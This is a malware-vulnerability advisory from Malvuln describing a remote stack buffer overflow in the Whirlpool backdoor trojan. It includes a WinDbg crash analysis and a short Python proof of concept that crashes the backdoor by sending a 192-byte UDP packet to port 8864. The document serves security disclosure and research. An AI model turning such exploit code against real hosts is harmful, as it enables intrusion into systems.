Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/bf0682b674ef23cf8ba0deeaf546f422.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.Whirlpool.10 Vulnerability: Remote Stack Buffer Overflow Description: Whirlpool listens on UDP Datagram ports 8848 and 8864. Sending a 192 byte payload to port 8864 triggers a stack buffer overflow overwriting both EIP and SEH. This can allow third party attackers to compromise the backdoor malware. Type: PE32 MD5: bf0682b674ef23cf8ba0deeaf546f422 Vuln ID: MVID-2021-0038 Dropped files: ASLR: False DEP: False Safe SEH: True Disclosure: 01/19/2021 Memory Dump: EAX : 00000000 EBX : 00000000 ECX : 41414141 EDX : 773E9D70 ntdll.773E9D70 EBP : 000A1430 ESP : 000A1410 ESI : 00000000 EDI : 00000000 EIP : 41414141 (898.1514): Access violation - code c0000005 (first/second chance not available) eax=00000000 ebx=00000000 ecx=41414141 edx=773e9d70 esi=00000000 edi=00000000 eip=41414141 esp=000a1410 ebp=000a1430 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 41414141 ?? ??? 0:000> !analyze -v ******************************************************************************* * * * Exception Analysis * * * ******************************************************************************* *** WARNING: Unable to verify checksum for Backdoor.Win32.Whirlpool.10.bf0682b674ef23cf8ba0deeaf546f422.exe *** ERROR: Module load completed but symbols could not be loaded for Backdoor.Win32.Whirlpool.10.bf0682b674ef23cf8ba0deeaf546f422.exe FAULTING_IP: Backdoor_Win32_Whirlpool_10_bf0682b674ef23cf8ba0deeaf546f422+4426 00404426 8b4af8 mov ecx,dword ptr [edx-8] EXCEPTION_RECORD: 0019f7a0 -- (.exr 0x19f7a0) ExceptionAddress: 00404426 (Backdoor_Win32_Whirlpool_10_bf0682b674ef23cf8ba0deeaf546f422+0x00004426) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000000 Parameter[1]: 41414139 Attempt to read from address 41414139 PROCESS_NAME: Backdoor.Win32.Whirlpool.10.bf0682b674ef23cf8ba0deeaf546f422.exe ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_PARAMETER1: 00000008 EXCEPTION_PARAMETER2: 41414141 WRITE_ADDRESS: 41414141 FOLLOWUP_IP: user32!_InternalCallWinProc+0 764ee090 55 push ebp FAILED_INSTRUCTION_ADDRESS: +0 41414141 ?? ??? MOD_LIST: NTGLOBALFLAG: 0 APPLICATION_VERIFIER_FLAGS: 0 IP_ON_HEAP: 41414141 The fault address in not in any loaded module, please check your build's rebase log at \bin\build_logs\timebuild\ntrebase.log for module which may contain the address if it were loaded. IP_IN_FREE_BLOCK: 41414141 CONTEXT: 0019f7f0 -- (.cxr 0x19f7f0) eax=0019fce4 ebx=0019fce4 ecx=0019fcf0 edx=41414141 esi=00000002 edi=02560bf9 eip=00404426 esp=0019fc50 ebp=0019fcf0 iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206 Backdoor_Win32_Whirlpool_10_bf0682b674ef23cf8ba0deeaf546f422+0x4426: 00404426 8b4af8 mov ecx,dword ptr [edx-8] ds:002b:41414139=???????? Resetting default scope ADDITIONAL_DEBUG_TEXT: Followup set based on attribute [Is_ChosenCrashFollowupThread] from Frame:[0] on thread:[PSEUDO_THREAD] LAST_CONTROL_TRANSFER: from 41414141 to 00404426 FAULTING_THREAD: ffffffff BUGCHECK_STR: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141 PRIMARY_PROBLEM_CLASS: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141 DEFAULT_BUCKET_ID: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141 FRAME_ONE_INVALID: 1 STACK_TEXT: 0019fc50 00404426 backdoor_win32_whirlpool_10+0x4426 0019fcf8 41414141 unknown!printable+0x0 0019fd50 004644a9 backdoor_win32_whirlpool_10+0x644a9 0019fd6c 764ee0bb user32!_InternalCallWinProc+0x2b 0019fd98 764f8849 user32!InternalCallWinProc+0x20 0019fdbc 764fb145 user32!UserCallWinProcCheckWow+0x1be 0019fe8c 764e90dc user32!DispatchMessageWorker+0x4ac 0019fef8 764e38c0 user32!DispatchMessageA+0x10 0019ff00 0046210c backdoor_win32_whirlpool_10+0x6210c 0019ff6c 00495f56 backdoor_win32_whirlpool_10+0x95f56 0019ff88 76e38654 kernel32!BaseThreadInitThunk+0x24 0019ff9c 773c4a77 ntdll!__RtlUserThreadStart+0x2f 0019ffe4 773c4a47 ntdll!_RtlUserThreadStart+0x1b STACK_COMMAND: .cxr 000000000019F7F0 ; kb ; dt ntdll!LdrpLastDllInitializer BaseDllName ; dt ntdll!LdrpFailureData ; dds 19fc50 ; kb SYMBOL_NAME: user32!_InternalCallWinProc+0 FOLLOWUP_NAME: MachineOwner MODULE_NAME: user32 IMAGE_NAME: user32.dll DEBUG_FLR_IMAGE_TIMESTAMP: 0 FAILURE_BUCKET_ID: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_c0000005_user32.dll!_InternalCallWinProc BUCKET_ID: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_BAD_IP_user32!_InternalCallWinProc+0 Exploit/PoC: from socket import * MALWARE_HOST="x.x.x.x" PORT=8864 def doit(): s=socket(AF_INET, SOCK_DGRAM) s.connect((MALWARE_HOST, PORT)) PACKET="A"*192 s.send(PACKET) s.close() print("Backdoor.Win32.Whirlpool.10.b / Remote Buffer Overflow") print("MD5: bf0682b674ef23cf8ba0deeaf546f422") print("By Malvuln"); if __name__=="__main__": doit() Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. 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